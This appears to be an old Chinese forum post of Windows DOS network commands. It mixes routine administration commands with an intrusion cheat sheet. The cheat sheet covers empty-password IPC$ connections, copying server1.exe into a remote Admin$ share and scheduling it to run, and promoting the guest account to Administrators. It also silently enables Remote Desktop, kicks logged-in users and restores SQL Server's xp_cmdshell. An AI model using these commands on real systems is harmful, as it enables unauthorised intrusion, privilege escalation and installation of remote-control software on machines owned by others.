|
======================================================
一些常用的DOS网络命令
======================================================
net share abc$=c:\
将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录) net share c$ /del
禁止C$共享 net use z: \\*.*.*.*\C$
把 *.*.*.*(IP) 的共享 C$ 映射为本地的 Z：盘 net use c: /del
删除映射的c盘 net use * /del /y
删除全部 net start
显示本地主机当前服务 net start telnet
启动 Telnet 服务 net start Server
启动 Server 服务 (IPC$ 和共享要*这个服务) net stop Messenger
停止信使服务(不会在有烦人的Win的弹出广告了)! net stop server
停止Server 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵) net user
得到本地主机的用户列表 net user guest /active:yes
将停用的guest帐号激活(变为可用) net user guest 888888
把 Guest 帐号的密码改为 888888 net localgroup Administrators guest /add
把 Guest 加到Administrators组中(这样你就有了超级权限了) net view \\*.*.*.*
查看指定IP主机上的共享 nbtstat -A *.*.*.*
得到远程主机的NetBIOS用户名列表 net share
查看本地主机的共享资源(本地的默认共享也可以看到) net use \\*.*.*.*\ipc$ "" /user:""
建立空连接 telnet *.*.*.* 90
连接对方机子的telnet,端口为90 ipconfig
查看本机的IP信息 入侵ipc过程序命令
--------------------------------------------------------
net use \\*.*.*.*\ipc$ "" /user:"Administrator"
建立用户名为 Administrator 密码为空的连接 copy server1.exe \\*.*.*.*\Admin$\system32
即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内 net time \\*.*.*.*
查看远程主机的当前时间 at \\*.*.*.* 14:00 server1.exe
在对方机子添加一个在 14:00 运行 server1.exe 的任务
------------------------------------------------------- 3389 DOS开启
-------------------------------------------------------
echo [Components] > c:\sql echo TSEnable = on >> c:\sql sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q ---------
C:\>dir c:\sysoc.inf /s
检查INF文件的位置 C:\> dir c:\sysocmgr.* /s
检查组件安装程序 -------------------------------------------------------
query user
查看正在使用的用户 logoff user
踢掉正在使用帐号的ID（这里的ID不是你的帐号） -------------------------------------------------------
删除Radmin服务 r_server.exe /stop r_server /uninstall /silence -------------------------------------------------------
开启cmdshell的SQL语句 EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK 恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK 否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll' 堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell" Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
| 
沪公网安备 31011702000001号 沪ICP备11019229号-2
发表于 2006-11-14 22:41
楼主
